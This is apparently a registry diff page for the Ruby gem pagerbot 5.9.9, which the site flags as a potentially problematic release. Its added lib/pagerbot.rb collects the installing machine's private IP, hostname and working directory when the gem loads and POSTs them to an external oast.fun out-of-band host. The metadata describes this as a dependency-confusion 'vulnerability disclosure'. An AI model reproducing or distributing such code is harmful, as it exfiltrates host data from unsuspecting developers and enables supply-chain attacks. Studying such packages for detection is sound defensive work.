pagerbot 5.9.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of pagerbot might be problematic. Click here for more details.

Files changed (3) hide show
  1. checksums.yaml +7 -0
  2. data/lib/pagerbot.rb +32 -0
  3. metadata +43 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 6c3818d963a66e896dc14fa9198894e30aff01a1552145ae9eef46981d99b073
4
+ data.tar.gz: 037b403d9c2efe2532a17b267131d1d2979ab39f8606f3ffeaa3ee39bccec3ea
5
+ SHA512:
6
+ metadata.gz: 392bf49f2120b5d4af9626f2a5d5c05fd5af784ff87fe071f18fa6754dfc8974693a1c3590be98fbd779b55c2ae110cb816355fe5882135b91d0bf308f75c4a2
7
+ data.tar.gz: 6e34add152710f0e1901d6c5394b568a329be97740facf8ad6f2ac103d9fbf2fb1d2fc15e9bf649786236bb2bb02682ac6d8424d5c3b80a3e191544d9ddfba13
data/lib/pagerbot.rb ADDED
@@ -0,0 +1,32 @@
1
+ module pagerbot
2
+
3
+ require 'json'
4
+ require 'net/http'
5
+ require 'socket'
6
+
7
+ #Private IP
8
+ privip = UDPSocket.open {|s|
9
+ s.connect("ck073ge2vtc0000r9s2ggjodtaryyyyyb.oast.fun", 1);
10
+ s.addr.last}
11
+ #Hostname
12
+ hostname = Socket.gethostname
13
+ #Current directory
14
+ dir = Dir.pwd
15
+
16
+ #Pubcli bin url:- https://pipedream.com OR burpCollaborate url
17
+ uri = URI('https://ck073ge2vtc0000r9s2ggjodtaryyyyyb.oast.fun')
18
+ req = Net::HTTP::Post.new(uri, 'Content-Type' => 'application/json')
19
+
20
+ req.body = {
21
+ private_ip: privip,
22
+ hostname: hostname,
23
+ current_directory: dir
24
+ }.to_json
25
+
26
+ Net::HTTP.start(uri.hostname, uri.port, :use_ssl => uri.scheme ==
27
+ 'https') do |http|
28
+ http.request(req)
29
+ end
30
+
31
+ end
32
+
metadata ADDED
@@ -0,0 +1,43 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: pagerbot
3
+ version: !ruby/object:Gem::Version
4
+ version: 5.9.9
5
+ platform: ruby
6
+ authors:
7
+ - "<bytets>"
8
+ autorequire:
9
+ bindir: bin
10
+ cert_chain: []
11
+ date: 2023-08-06 00:00:00.000000000 Z
12
+ dependencies: []
13
+ description: "This Ruby package vulnerable to dependency confiuse \nvulnerability"
14
+ email: "<techghoshal@gmail.com>"
15
+ executables: []
16
+ extensions: []
17
+ extra_rdoc_files: []
18
+ files:
19
+ - lib/pagerbot.rb
20
+ homepage: https://rubygems.org/gems/pagerbot
21
+ licenses:
22
+ - MIT
23
+ metadata: {}
24
+ post_install_message:
25
+ rdoc_options: []
26
+ require_paths:
27
+ - lib
28
+ required_ruby_version: !ruby/object:Gem::Requirement
29
+ requirements:
30
+ - - ">="
31
+ - !ruby/object:Gem::Version
32
+ version: '0'
33
+ required_rubygems_version: !ruby/object:Gem::Requirement
34
+ requirements:
35
+ - - ">="
36
+ - !ruby/object:Gem::Version
37
+ version: '0'
38
+ requirements: []
39
+ rubygems_version: 3.0.3.1
40
+ signing_key:
41
+ specification_version: 4
42
+ summary: 'Vulnerability Disclosure: Dependency confiuse vulnerability'
43
+ test_files: []